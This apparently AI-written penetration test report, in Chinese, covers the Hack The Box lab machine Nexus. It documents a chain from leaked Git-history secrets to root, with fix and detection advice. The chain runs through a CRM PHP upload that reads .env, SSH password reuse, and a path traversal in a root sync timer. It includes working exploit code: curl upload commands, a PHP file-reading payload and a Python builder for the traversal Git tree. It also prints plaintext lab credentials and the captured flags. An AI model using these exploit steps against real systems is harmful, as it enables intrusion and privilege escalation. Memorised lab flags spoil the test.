授權滲透測試報告

Nexus / Hack The Box

全鏈路攻擊手法、重現 SOP、證據、旗標與修補指引

欄位	內容
測試目標	10.129.157.106 (nexus.htb, git.nexus.htb, billing.nexus.htb)
測試時間	2026-11-01 15:10-15:29 Asia/Taipei
測試人員	Codex，依使用者明確授權執行
報告日期	2026-11-01
測試方式	外部 TCP/HTTP 枚舉、認證流程驗證、受控 PHP 上傳、SSH 橫向移動、root 定時服務路徑穿越

執行摘要：測試由匿名可讀的 Git 歷史祕密開始，取得 CRM 管理員登入，透過 PHP 上傳與執行讀取應用程式環境檔，再利用資料庫密碼重用取得 jones SSH 身分。最後，Gitea 模板同步服務以 root 執行且未限制 Git tree 路徑，透過路徑穿越覆寫 root 的 SSH 授權金鑰。user.txt 與 root.txt 均已讀取並在 HTB 頁面提交成功。

整體結果	狀態
完整 TCP 連接掃描	65,535 個 TCP 埠；僅 22/tcp、80/tcp 開放
最高風險	● 嚴重：公開祕密加上多段權限提升，形成未登入至 root 的完整攻擊鏈
user.txt	取得並已提交：4553dd153f491a73ea81c1d29ab24579
root.txt	取得並已提交：b26e7a7596c84e75870a6699a8a6bf90
測試後清理	測試 repo 刪除；定時器下一輪顯示 0 個模板 repo；root 授權金鑰及測試 PHP 檔案清除

範圍限於指定 HTB 靶機及其虛擬主機名稱。已記錄一次本機端點防護攔截 PHP shell payload 的情形；該 shell payload 未送達目標。本報告只聲稱實際在目標驗證的行為。

1. 範圍、方法與漏洞摘要

1.1 授權與範圍

使用者明確授權對 HTB Nexus 機器 10.129.157.106 進行滲透測試、取得兩個旗標，並在 HTB Nexus 機器頁面提交旗標。測試流量限於 10.129.157.106；Host header 測試涵蓋 nexus.htb、git.nexus.htb 與 billing.nexus.htb。未掃描其他網段或第三方主機。

1.2 執行方法

- 外部服務枚舉：Nmap 快速服務掃描及 Python asyncio TCP connect scan 對 1-65535 埠逐一探測。
- Web 枚舉：依 Host header 比對虛擬主機，檢查靜態頁、公開 Git 倉庫、提交歷史、CRM 登入頁與 Debugbar。
- 漏洞驗證：使用已公開的歷史憑證登入 CRM；上傳無害 PHP 並確認伺服器執行；讀取 .env 並驗證 SSH 密碼重用。
- 權限提升：檢查 systemd timer、root service 與 template-sync.py；建立專用模板 repo，使用原始 Git object 寫入 traversal 路徑。
- 清理與提交：刪除測試 repo、測試 PHP 檔及新增 root SSH key；確認下一輪定時器未再同步；於 HTB 頁面提交 flags。

1.3 漏洞發現清單

ID	漏洞標題	風險	狀態
VL-001	公開 Gitea repo 歷史洩漏祕密與登入資料	高 / 8.2	已驗證
VL-002	Laravel APP_DEBUG 與 Debugbar 對外暴露	中 / 5.3	已驗證
VL-003	CRM PHP 檔案上傳至可執行 Web 路徑	中 / 6.5	已驗證
VL-004	應用程式資料庫密碼重用為 jones SSH 密碼	高 / 8.8	已驗證
VL-005	root 模板同步器未檢查 Git tree 路徑	高 / 8.8	已驗證
CHAIN	匿名公開祕密串接 Web 身分、使用者及 root 權限	嚴重 / 9.8	已完成；旗標已提交

1.4 網路服務

埠	服務	版本/證據
22/tcp	SSH	OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
80/tcp	HTTP	nginx 1.24.0；Host nexus.htb 顯示靜態首頁
TCP 1-65535	完整 connect scan	自製 asyncio 掃描器；結果僅 22、80 開放
UDP	未完成	Nmap UDP top-20 要求本機 root 權限；未提升本機權限重跑

```
nmap -Pn -n -sV -sC -T4 -F --reason -oA evidence/nmap_fast 10.129.157.106
python3 evidence/full_tcp_async.py 10.129.157.106
# 結果：open_ports=22,80
# UDP top-20：nmap -sU --top-ports 20；工具回報需要本機 root，未執行
```

掃描限制：Nmap 對全埠 connect scan 在此 macOS 執行環境持續佔用單核心，兩次全埠 Nmap 執行均停止；以 1,024 併發、1.5 秒逾時的 asyncio connect scan 完成 65,535 埠盤點。UDP 未驗證，報告不宣稱已完成 UDP 面。

VL-001 公開 Gitea repo 歷史洩漏祕密與登入資料

屬性	詳情
風險等級	● 高 (High)
CVSS 3.1	8.2 / AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
漏洞類型	祕密洩漏、公開版本控制資料、憑證重用 (CWE-798 / CWE-522)
受影響位置	http://git.nexus.htb/admin/krayin-docker-setup/commit/9b817fa4e073d12fc43952acb09f3067b2f17adf?files=.env
前置條件	依該項發現所列；測試僅限 10.129.157.106 與其 nexus.htb 虛擬主機

2.1 漏洞描述

匿名使用者可瀏覽 Gitea 上 admin/krayin-docker-setup。repo 當前檔案已將 DB_PASSWORD 清空，但前一個 Git commit 仍保存舊值。網站首頁公開 j.matthew@nexus.htb 聯絡信箱；歷史 DB_PASSWORD 可直接登入該帳號的 billing CRM，登入後被導向 /admin/dashboard。資料從 Git 歷史刪除並不足夠，祕密仍可由 commit object 取回。

2.2 復現步驟 (Proof of Concept)

匿名列舉虛擬主機

```
curl -i --resolve git.nexus.htb:80:10.129.157.106 http://git.nexus.htb/
curl -i --resolve billing.nexus.htb:80:10.129.157.106 http://billing.nexus.htb/
```

取得公開 repo 歷史

```
git -c http.extraHeader="Host: git.nexus.htb" clone
    http://10.129.157.106/admin/krayin-docker-setup.git
cd krayin-docker-setup
git log --all --oneline -- .env
git show 1615c46:.env | sed -n "/^DB_USERNAME=/p;/^DB_PASSWORD=/p"
```

登入 CRM 證據

```
POST /admin/login with email j.matthew@nexus.htb and the historical DB_PASSWORD; server returned
    HTTP 302 Location: /admin/dashboard. Exact tested values are listed in Appendix 3.3.
```

2.3 證據截圖

圖 2 的 vhost/repo 區塊列出匿名 Gitea 200、公開 repo 與被驗證的舊 commit。原始頁面與提交檔案見 evidence/git_explore.html、evidence/git_repo.html 及本地 clone 的 Git object history；已在報告中列出實際使用的憑證。

2.4 修補建議

- 立即輪替所有曾提交的資料庫、管理員、API 及郵件祕密；將受影響密碼視為已外洩。
- 從 Git 全部 refs 與歷史中移除祕密，例如使用 git filter-repo；強制更新遠端 refs，並檢查 fork、mirror、CI artifact、備份。歷史改寫不能替代憑證輪替。
- 將祕密移至 Secret Manager 或部署環境注入；設定 pre-commit、CI secret scanning，拒絕 .env、私鑰與高熵憑證。
- 為 CRM、資料庫、OS 使用不同密碼；管理員帳號啟用 MFA 並限制登入來源。

檢測邏輯

人工檢查

```
git log --all --format="%H %s" -- .env
git log --all -p -- .env
```

自動祕密掃描

```
gitleaks detect --source . --redact --verbose
# 檢查 repo 全部分支、tag、refs 與 CI artifacts
```

- 對匿名訪問使用未登入工作階段 GET repo 與 commit URL；若 200 且可讀 .env 或舊 commit diff，即判定失敗。

VL-002 Laravel APP_DEBUG 與 Debugbar 對外暴露

屬性	詳情
風險等級	● 中 (Medium)
CVSS 3.1	5.3 / AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
漏洞類型	錯誤資訊與執行期診斷資料洩漏
受影響位置	http://billing.nexus.htb/admin/login；/_debugbar/assets/*
前置條件	依該項發現所列；測試僅限 10.129.157.106 與其 nexus.htb 虛擬主機

2.1 漏洞描述

CRM 登入頁的 HTML 直接載入 Laravel Debugbar assets；Debugbar response 顯示內部檔案路徑 /var/www/krayin、controller/action、請求標頭、session attributes 與 debug token。執行期環境檔亦確認 APP_DEBUG=true。此設定能讓外部使用者蒐集程式路徑、路由、session 與錯誤資訊，並協助後續攻擊。測試截取的 session cookie 僅存於本機，未寫入報告並已清理。

2.2 復現步驟 (Proof of Concept)

取得登入頁

```
curl --resolve billing.nexus.htb:80:10.129.157.106 -sS -D headers.txt
  http://billing.nexus.htb/admin/login -o login.html
```

檢查暴露項目

```
rg -n "_debugbar/assets|phpdebugbar|APP_DEBUG" login.html
# 經已授權的 read-only PHP 證據讀取 .env，確認 APP_DEBUG=true
```

觀察範例

```
Debugbar 顯示 controller_action=Webkul\Admin\Http\Controllers\User\SessionController@create 及
  /var/www/krayin 路徑。
```

2.3 證據截圖

圖 2 的 CRM 區塊摘要 APP_DEBUG=true 與 Debugbar 暴露；原始頁面曾保存於 evidence/billing_login.html，報告未包含 session cookie、CSRF token 或 Debugbar token。

2.4 修補建議

- 部署環境設定 APP_DEBUG=false；執行設定快取與服務重啟，確認 runtime config 亦為 false。
- 生產環境移除 Debugbar 套件或完全停用其 provider、路由與 assets；診斷頁需授權且不得包含 session、token、headers 等敏感欄位。
- 輪替 Laravel APP_KEY 與 session；因 Debugbar 曾對外暴露執行期資料，評估所有曾發出之 session 與 token。
- 在 CI 加入 production configuration assertion，對 /_debugbar、錯誤頁、trace 與 debug endpoint 做匿名掃描。

檢測邏輯

設定掃描

```
rg -n "APP_DEBUG=true|Debugbar|phpdebugbar|_debugbar" .env config routes bootstrap packages
```

外部驗收

```
curl -sS -i http://billing.nexus.htb/_debugbar/open?op=get | head -30
# 生產環境應為 401/403/404，且錯誤頁不得含 stack trace / 絕對路徑
```

VL-003 CRM PHP 檔案上傳至可執行 Web 路徑

屬性	詳情
風險等級	● 中 (Medium)
CVSS 3.1	6.5 / AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N
漏洞類型	不安全檔案上傳、伺服端 PHP 執行 (CWE-434)
受影響位置	POST http://billing.nexus.htb/admin/tinymce/upload
前置條件	依該項發現所列；測試僅限 10.129.157.106 與其 nexus.htb 虛擬主機

2.1 漏洞描述

以取得的 CRM 管理員工作階段呼叫 TinyMCE upload endpoint，提交副檔名為 .php、但 multipart Content-Type 偽裝為 image/jpeg 的檔案。伺服器回傳 HTTP 200 及 /storage/tinymce/.php；以無害 PHP echo 程式讀回時得到 UPLOAD_OK，並以唯讀 file_get_contents 程式讀取 /var/www/krayin/.env。這證實受控 PHP 能被保存於可執行路徑並以 Web 程序身分執行。OS shell payload 曾被本機卡巴斯基以 HTTP 499 攔截，所以不把 shell command execution 列作已驗證證據。

2.2 復現步驟 (Proof of Concept)

管理員登入後，從 Cookie jar 解碼 XSRF-TOKEN 並呼叫上傳端點

```
curl --resolve billing.nexus.htb:80:10.129.157.106 -b cookies.txt \
  -H "X-XSRF-TOKEN: $XSRF" -H "X-Requested-With: XMLHttpRequest" \
  -F "file=@benign.php;filename=benign.php;type=image/jpeg" \
  http://billing.nexus.htb/admin/tinymce/upload
```

無害 PHP 證明

```
<?php echo "UPLOAD_OK"; ?>
# 回傳 JSON location 後 GET 該 URL，回應本文為 UPLOAD_OK。
```

唯讀環境檔驗證

```
<?php echo file_get_contents("/var/www/krayin/.env"); ?>
# 上傳到相同 endpoint 後 GET location；只抽取 DB_PASSWORD 欄位作憑證重用驗證。
```

2.3 證據截圖

圖 2 的 CRM 區塊摘要 HTTP 200、無害 PHP 輸出 UPLOAD_OK 與 jones 身分；原始佐證為 evidence/benign_upload_headers.txt、evidence/benign_upload_response.txt、evidence/benign_execution.txt、evidence/read_env_upload_response.json。

2.4 修補建議

- 採副檔名 allowlist 並依伺服端解碼內容判斷型別，不信任 multipart Content-Type；只允許產品需求所需的圖片型別。
- 將上傳檔存於 webroot 外，或使用專用靜態檔案主機；若必須公開讀取，透過下載 controller 串流檔案，並在 Web server 禁止該目錄執行 PHP。
- 使用伺服端產生的檔名；限制大小、檔名字元與路徑；圖片以安全影像函式解碼並重新編碼。
- 移除已安裝後仍可呼叫的 installer/setup 路由；對管理端採 MFA、CSRF 與細緻授權。
- 清除並輪替受讀取影響的 .env secrets，包括 DB_PASSWORD 與 APP_KEY。

檢測邏輯

程式碼檢查

```
rg -n "tinymce/upload|storeAs|move\(|getClientOriginalExtension|mimeType" packages app routes
```

驗收測試

使用測試環境上傳 .php、雙副檔名、偽造 MIME 與有效圖片；任何 server-side script 均不可被保存或執行。監控 /admin/tinymce/upload 與 /storage/tinymce/*.php。

- OWASP 建議對檔案型別做伺服端驗證、使用產生的檔名並將檔案存於 webroot 外。

VL-004 應用程式 DB 密碼重用為 jones SSH 密碼

屬性	詳情
風險等級	● 高 (High)
CVSS 3.1	8.8 / AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
漏洞類型	憑證重用、橫向移動
受影響位置	SSH 10.129.157.106:22；/var/www/krayin/.env
前置條件	依該項發現所列；測試僅限 10.129.157.106 與其 nexus.htb 虛擬主機

2.1 漏洞描述

由 VL-003 所證明的伺服端 PHP 讀取能力讀取當前應用程式 .env，取得 DB_PASSWORD。相同值可直接以 jones 帳號通過 SSH 密碼驗證，並以 id 得到 uid=1000(jones)，再讀取 /home/jones/user.txt。資料庫服務帳號與 OS 互動式登入帳號共用密碼，將單一應用程式檔案讀取擴大成 OS 使用者存取。

2.2 復現步驟 (Proof of Concept)

從已執行的唯讀 PHP 證據擷取設定

```
DB_USERNAME=krayin
DB_PASSWORD=<報告附錄列出已驗證值>
```

使用相同密碼 SSH 驗證

```
ssh jones@10.129.157.106
id
cat /home/jones/user.txt
```

實際結果

```
uid=1000(jones) gid=1000(jones) groups=100(users)；user.txt 已讀取並提交。
```

2.3 證據截圖

圖 2 的 CRM 區塊與 HTB 成功頁截圖共同呈現路徑；原始 SSH 證據為 evidence/ssh_jones_user.txt，其中包含 id 與 user flag。

2.4 修補建議

- 所有 DB、CRM 與 OS 密碼分別產生、輪替，禁止跨服務重用；資料庫密碼僅供服務程序讀取，不應可用於 SSH。
- 停用服務帳號的互動式 shell；採用 SSH key 或短效憑證，對管理登入強制 MFA、來源限制與速率限制。
- 限制 Web 程序讀取 .env 的能力；將 secret 以部署時機制提供，採最小檔案權限與隔離服務帳號。
- 盤點 jones 及其他帳號的密碼重用範圍並輪替；查核 SSH 認證及本機日誌。

檢測邏輯

密碼重用檢測

以授權的密碼稽核流程比對 vault 內服務密碼、互動式帳號與測試用密碼；不得用未授權的線上暴力猜解。

外部驗收

確認 DB credential 無法通過 SSH；確認 jones 等服務帳號不能互動登入；對環境檔權限與 Web worker 讀取關係做負向測試。

VL-005 root 模板同步器未檢查 Git tree 路徑

屬性	詳情
風險等級	● 高 (High)
CVSS 3.1	8.8 / AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
漏洞類型	相對路徑穿越、任意檔案覆寫、特權提升 (CWE-22)
受影響位置	systemd gitea-template-sync.timer；/etc/gitea/template-sync.py；本機 Gitea 127.0.0.1:3000
前置條件	依該項發現所列；測試僅限 10.129.157.106 與其 nexus.htb 虛擬主機

2.1 漏洞描述

jones 可登入 Gitea。每分鐘啟動的 gitea-template-sync.service 以 User=root 執行 /etc/gitea/template-sync.py。程式從 Git tree 取得 filepath，直接用 os.path.join(stage_path, filepath) 組成輸出路徑，未標準化路徑、未檢查 target 是否位於 staging root。以原始 Git tree object 建立檔名 ../../../../../root/.ssh/authorized_keys，root 定時器將攻擊者公鑰寫入 root 授權金鑰，驗證取得 uid=0(root) 並讀取 root.txt。

2.2 復現步驟 (Proof of Concept)

檢查 timer、service 與危險 sink

```
systemctl cat gitea-template-sync.timer gitea-template-sync.service
sed -n "1,220p" /etc/gitea/template-sync.py
# 找到 os.path.join(stage_path, filepath) 以及 open(target, "wb")
```

建立專用金鑰與模板 repo

```
ssh-keygen -t ed25519 -N "" -f root_key -C authorized-htb-nexus-test
# 以 jones 登入 Gitea API 建立 template repo；本次名稱 ssh。
```

建立 raw tree object 並推送

```
TRAVERSAL=../../../../../root/.ssh/authorized_keys
# blob 內容為本次測試公鑰；tree object 直接序列化原始檔名，
# 不經一般 git add，因此可以包含 ../；push 到 jones/ssh。
```

等待 timer 並驗證 root

```
tail -f /var/log/template-sync.log
# 記錄 synced traversal path 後：ssh -i root_key root@10.129.157.106
id; cat /root/root.txt
```

2.3 證據截圖

圖 2 的 root traversal 區塊列出 root timer、User=root、惡意 tree path、同步紀錄及 uid=0。原始證據：evidence/ssh_jones_user.txt、evidence/root_repo_push.txt、evidence/root_sync_log.txt、evidence/ssh_root.txt。HTB 頁面 accessibility tree 顯示「You have solved Nexus!」，且 user/root 欄位均為 owned。圖 3 是由本次原始證據重繪的摘要面板。

2.4 修補建議

- 將 filepath 視為不可信輸入；拒絕絕對路徑、..、NUL 與平台分隔符變體；以解析後路徑做 containment 驗證。
- 使用安全的 archive/tree extraction API 並以 dirfd/openat(O_NOFOLLOW) 逐層開檔，避免 symlink race；寫入前確認 canonical path 保持在 staging root 內。
- 同步服務改以獨立低權限帳號執行；禁止寫入 /root、/etc、/home 等敏感路徑。若要讀 repo，使用隔離工作目錄並採最小權限。
- 限制只有授權管理者能建立 template repo；收窄 Gitea API token scope，稽核模板 repo 建立與 tree path。
- 對現有 template-staging、root/.ssh、系統檔案檢查未授權內容；輪替可能受影響金鑰並檢視 timer 執行記錄。

檢測邏輯

靜態檢查

```
rg -n "os\.path\.join|ls-tree|cat-file|open\(target" /etc/gitea /opt/forge
```

安全路徑實作範例

```
from pathlib import Path
root = Path(STAGING_DIR).resolve()
base = (root / owner / name).resolve()
target = (base / filepath).resolve()
if not target.is_relative_to(base):
    raise ValueError("path escapes staging directory")
# 另需避免 symlink race；root service 應以非特權帳號執行。
```

執行時檢測

```
grep -F "../" /var/log/template-sync.log
# 稽核 template repo tree；監控 timer 對 /root/.ssh、/etc、/usr/local 的寫入。
```

2.6 攻擊鏈與旗標佐證

整體鏈路：匿名訪問 Gitea repo/history -> 從舊 .env 取得憑證 -> CRM 管理員登入 -> 在 TinyMCE upload 上傳 PHP 並讀取應用程式 .env -> 以重用密碼 SSH 為 jones -> 在原始 Git tree 物件寫入路徑穿越檔名 -> root timer 將公鑰寫入 root/.ssh/authorized_keys -> root SSH -> 取得兩個 flag。HTB 成功狀態訊息為「You have solved Nexus!」。

旗標與 HTB 提交狀態：

檔案	取得值	驗證位置	HTB 狀態
user.txt	4553dd153f491a73ea81c1d29ab24579	/home/jones/user.txt	Owned / 已提交
root.txt	b26e7a7596c84e75870a6699a8a6bf90	/root/root.txt	Owned / 已提交



圖 3 - 本次掃描、HTTP、SSH、systemd 輸出的視覺化摘要；HTB 頁面 owned 狀態另由 accessibility tree 的成功訊息驗證。

3. SOP 與可重現腳本

以下步驟與程式碼對應本次實際驗證流程。只對授權靶機執行。憑證值列於 4.3；在真實環境應使用 vault 注入，避免放入 shell history 或版本控制。

3.1 服務與完整 TCP 掃描

```
nmap -Pn -n -sV -sC -T4 -F --reason -oA evidence/nmap_fast 10.129.157.106
python3 evidence/full_tcp_async.py 10.129.157.106
# 65,535 ports; output: 22/tcp open, 80/tcp open
```

完整 TCP async connect scanner (本次執行版本)

```
#!/usr/bin/env python3
"""Single-host TCP connect scan for the authorized HTB target."""
import asyncio
import sys
import time

HOST = sys.argv[1] if len(sys.argv) > 1 else '10.129.157.106'
PORTS = range(1, 65536)
CONCURRENCY = 1024
TIMEOUT = 1.5

async def probe(port, sem):
    async with sem:
        try:
            _, writer = await asyncio.wait_for(asyncio.open_connection(HOST, port), TIMEOUT)
            writer.close()
            await writer.wait_closed()
            return (port, 'open')
        except asyncio.TimeoutError:
            return None
        except OSError as exc:
            if getattr(exc, 'errno', None) in (65, 61, 111):
                return (port, 'closed')
            return None

async def main():
    sem = asyncio.Semaphore(CONCURRENCY)
    start = time.monotonic()
    tasks = [asyncio.create_task(probe(p, sem)) for p in PORTS]
    open_ports = []
    done = 0
    for task in asyncio.as_completed(tasks):
        result = await task
        done += 1
        if result and result[1] == 'open':
            open_ports.append(result[0])
            print(f'{result[0]}/tcp open', flush=True)
        if done % 10000 == 0:
            print(f'progress {done}/65535', flush=True)
    print(f'elapsed_seconds={time.monotonic()-start:.1f}')
    print('open_ports=' + ','.join(map(str, sorted(open_ports))))

if __name__ == '__main__':
    asyncio.run(main())
```

3.2 虛擬主機、首頁身分與 Gitea repo 歷史

```
for host in nexus.htb git.nexus.htb billing.nexus.htb; do
  curl --resolve "$host:80:10.129.157.106" -i "http://$host/"
done
curl --resolve git.nexus.htb:80:10.129.157.106 \
  http://git.nexus.htb/explore/repos -o git_repos.html
git -c http.extraHeader='Host: git.nexus.htb' \
  clone http://10.129.157.106/admin/krayin-docker-setup.git
cd krayin-docker-setup
git log --all --oneline -- .env
git show 1615c46:.env | rg '^(DB_USERNAME|DB_PASSWORD)='
```

3.3 CRM 管理員登入、PHP 上傳與唯讀證明

```
# GET login page first; retain session cookie and parse hidden _token
curl --resolve billing.nexus.htb:80:10.129.157.106 \
  -c cookies.txt -b cookies.txt -sS \
  http://billing.nexus.htb/admin/login -o login.html
TOKEN=$(sed -n 's/.*name="_token" value="\([^"]*\)".*/\1/p' login.html | head -1)
# POST email/password with CSRF token; redirect /admin/dashboard is success
curl --resolve billing.nexus.htb:80:10.129.157.106 \
  -c cookies.txt -b cookies.txt -sS -D auth.headers \
  -H 'X-Requested-With: XMLHttpRequest' -X POST \
  http://billing.nexus.htb/admin/login \
  --data-urlencode "_token=$TOKEN" \
  --data-urlencode 'email=j.matthew@nexus.htb' \
  --data-urlencode 'password=<歷史 .env DB_PASSWORD>'
# 無害 PHP 確認上傳執行；不要在生產環境執行此 PoC
printf '%s\n' '<?php echo "UPLOAD_OK"; ?>' > benign.php
# XSRF cookie 需依 Laravel 要求 URL decode 後傳入 X-XSRF-TOKEN
curl --resolve billing.nexus.htb:80:10.129.157.106 \
  -b cookies.txt -H "X-XSRF-TOKEN: $XSRF" \
  -H 'X-Requested-With: XMLHttpRequest' \
  -F 'file=@benign.php;filename=benign.php;type=image/jpeg' \
  http://billing.nexus.htb/admin/tinymce/upload
```

read_env.php 測試內容

```
# 本次唯讀證明內容：
<?php echo file_get_contents('/var/www/krayin/.env'); ?>
# 確認 DB_PASSWORD 重用前只抽取必要欄位；勿保存 session cookies。
```

3.4 SSH 使用者驗證與 root timer 分析

```
ssh jones@10.129.157.106
id
cat /home/jones/user.txt
systemctl cat gitea-template-sync.timer gitea-template-sync.service
sed -n '1,220p' /etc/gitea/template-sync.py
# 驗證危險資料流：git ls-tree filepath -> os.path.join(stage_path, filepath) -> open(target, 'wb')
```

3.5 Git tree 原始 object 路徑穿越 builder

本次測試使用的 object builder；repo 建立與 HTTP push 已成功。刪除測試 repo 為清理步驟。

```
#!/usr/bin/env python3
"""Authorized HTB Nexus PoC: push a raw Git tree with a traversal path."""
import hashlib
import os
import pathlib
import subprocess
import time
import zlib

BASE = pathlib.Path(__file__).resolve().parent
WORK = BASE / 'root_repo'
GIT_DIR = WORK / '.git'
REMOTE = 'http://127.0.0.1:13000/jones/ssh.git'
TRAVERSAL = '../../../../../root/.ssh/authorized_keys'
PUBKEY = (BASE / 'root_key.pub').read_bytes().strip() + b'\n'


def write_object(kind: str, content: bytes) -> str:
    raw = f'{kind} {len(content)}\0'.encode() + content
    oid = hashlib.sha1(raw).hexdigest()
    dest = GIT_DIR / 'objects' / oid[:2] / oid[2:]
    dest.parent.mkdir(parents=True, exist_ok=True)
    dest.write_bytes(zlib.compress(raw))
    return oid


if WORK.exists():
    subprocess.run(['rm', '-rf', str(WORK)], check=True)
subprocess.run(['git', 'init', str(WORK)], check=True, capture_output=True)
blob = write_object('blob', PUBKEY)
tree_entry = b'100600 ' + TRAVERSAL.encode() + b'\0' + bytes.fromhex(blob)
tree = write_object('tree', tree_entry)
now = int(time.time())
commit = (f'tree {tree}\nauthor authorized-test <test@localhost> {now} +0000\n'
          f'committer authorized-test <test@localhost> {now} +0000\n\nHTB Nexus path traversal
```

```
    PoC\n').encode()
commit_oid = write_object('commit', commit)
(GIT_DIR / 'HEAD').write_text('ref: refs/heads/main\n')
ref = GIT_DIR / 'refs' / 'heads' / 'main'
ref.parent.mkdir(parents=True, exist_ok=True)
ref.write_text(commit_oid + '\n')
subprocess.run(['git', '-C', str(WORK), 'remote', 'add', 'origin', REMOTE], check=True)
env = os.environ.copy()
env['GIT_ASKPASS'] = str(BASE / 'git_askpass.sh')
env['GIT_ASKPASS_REQUIRE'] = 'force'
env['GIT_TERMINAL_PROMPT'] = '0'
env['DISPLAY'] = ':0'
result = subprocess.run(['git', '-C', str(WORK), 'push', 'origin', 'main'],
                        env=env, capture_output=True, text=True, timeout=60)
print('blob:', blob)
print('tree:', tree)
print('commit:', commit_oid)
print('tree_path:', TRAVERSAL)
print('push_exit:', result.returncode)
print(result.stdout.strip())
if result.returncode:
    print(result.stderr.strip())
    raise SystemExit(result.returncode)
```

3.6 清理命令與驗證

```
# 以 Gitea API 刪除測試 repo jones/ssh，預期 DELETE HTTP 204
curl -u "jones:$DB_PASS" -X DELETE \
  http://127.0.0.1:13000/api/v1/repos/jones/ssh
# 以 root SSH 清除測試 key 與本次上傳的 PHP 檔
rm -f /root/.ssh/authorized_keys \
  /var/www/krayin/storage/app/public/tinymce/<本次兩個 hash>.php
# 等定時器跑過；確認 log 為 Found 0 template repo(s)，
# 並確認授權金鑰與測試檔不存在。
```

4. 附錄

4.1 風險等級定義

CVSS v3.1	等級	說明
9.0-10.0	● 嚴重	匿名或低門檻可造成系統全面失陷；本案完整攻擊鏈評估 9.8。
7.0-8.9	● 高	可造成重要資料或身分遭取得、遠端帳號被控制或特權提升。
4.0-6.9	● 中	有限制的資訊暴露或需高權限、但可明顯降低安全性的漏洞。
0.1-3.9	● 低	影響有限或需較多前置條件。
0.0	● 資訊	未形成可量化的直接安全影響。

4.2 CVSS 3.1 評分說明

各發現分數是依本次可觀察的攻擊前置條件估算。VL-003 需 CRM 管理員身分，因此單項 base score 為 6.5；匿名 Git 歷史洩漏、已公開的登入資料、PHP 上傳與後續憑證重用串接後，整體 chain 可由外部未登入者到達 root，故整體評估為 9.8 Critical。root timer 本身在已取得 jones 低權限身分後利用，評分為 8.8。CVSS 不取代組織自身風險決策。

4.3 已驗證的憑證與旗標

項目	實際值	來源/用途
CRM 管理員	j.matthew@nexus.htb / N27xh!!2ucY04	舊版 Gitea .env DB_PASSWORD；登入 billing CRM 成功
歷史 DB 帳號	krayin / N27xh!!2ucY04	Gitea commit 1615c46 的 .env；該值重用為 CRM 管理員密碼
當前 DB 帳號	krayin / y27xb3ha!!74GbR	CRM .env；經 PHP read-only 檔案讀取取得
OS 使用者	jones / y27xb3ha!!74GbR	SSH 登入成功；重用當前 DB_PASSWORD
user.txt	4553dd153f491a73ea81c1d29ab24579	/home/jones/user.txt；HTB 已 owned
root.txt	b26e7a7596c84e75870a6699a8a6bf90	/root/root.txt；HTB 已 owned

此表為使用者明確要求的授權 HTB 測試結果，含已驗證憑證與旗標。報告只列攻擊鏈所需值；HTTP session cookies、CSRF token、Debugbar token 與本次 SSH 私鑰不納入報告。

4.4 測試工具與證據檔

工具/檔案	用途
Nmap 7.991	快速服務與版本枚舉；UDP top-20 因權限限制未執行。
Python asyncio scanner	完整 TCP 1-65535 connect scan；結果 22、80。
curl、Git、OpenSSH	HTTP vhost 與認證驗證、匿名 repo/history、SSH user/root flag 取得。
evidence/nmap_fast.nmap, full_tcp_async.txt	原始 TCP 掃描結果。
evidence/git_repo.html, git_commits.html, root_repo_push.txt	公開 repo、commit 與 root traversal 推送證據。
evidence/benign_upload_response.txt, benign_execution.txt	PHP 上傳與無害執行輸出。
evidence/ssh_jones_user.txt, root_sync_log.txt, ssh_root.txt	使用者、root timer、root flag 證據。
evidence/cleanup.txt, cleanup_verify.txt	清理與下一輪 timer 驗證。
evidence/evidence_panel.png	根據原始證據輸出重繪的視覺摘要。

4.5 修補優先順序

- P0：停用 root template sync 或改為低權限帳號；修正 filepath containment，調查 /root/.ssh、/etc 與 staging 目錄。
- P0：輪替本報告列出的所有已外洩密碼、APP_KEY、資料庫憑證與任何共享值；解除密碼重用。
- P1：從 Gitea 所有 Git history/refs 移除 .env，啟用 secret scanning 與 push protection。
- P1：停用 APP_DEBUG、移除外部 Debugbar，清除既有 session。
- P1：封鎖 CRM upload 目錄執行 PHP；檔案移出 webroot，採伺服端內容 allowlist。
- P2：加入定期 repo/host/permissions audit 與安全 regression tests。

4.6 參考資料

- Hack The Box - Nexus machine page - https://app.hackthebox.com/machines/Nexus?sort_by=created_at&sort_type=desc
- OWASP File Upload Cheat Sheet - https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html
- MITRE CWE-22 Path Traversal - https://cwe.mitre.org/data/definitions/22
- Laravel Deployment - Debug Mode - https://laravel.com/docs/deployment#debug-mode
- Gitea API - Search for repositories - https://docs.gitea.com/api/operations/repo-search/
- HackIndex Nexus write-up (外部線索；不同測試 IP，非本案證據) - https://hackindex.io/index.php/writeups/nexus
- Terminal Trouble Nexus write-up (外部參考；不同測試 IP，非本案證據) - https://www.terminaltrouble.com/writeup/htb-nexus

4.7 測試人員簽署與免責

測試人員：Codex（依使用者對 HTB Nexus 10.129.157.106 明確授權）。本報告記載的掃描、利用、旗標及清理狀態均以本次執行證據為依據。HTB 公開 write-up 僅在初始枚舉後用作辨識可能虛擬主機的線索；因其記載的目標 IP 不同，所有利用步驟、密碼、系統路徑及旗標均在本案指定 IP 上重新驗證。報告結果只對測試當下的靶機狀態有效。未經授權不得對其他系統重現。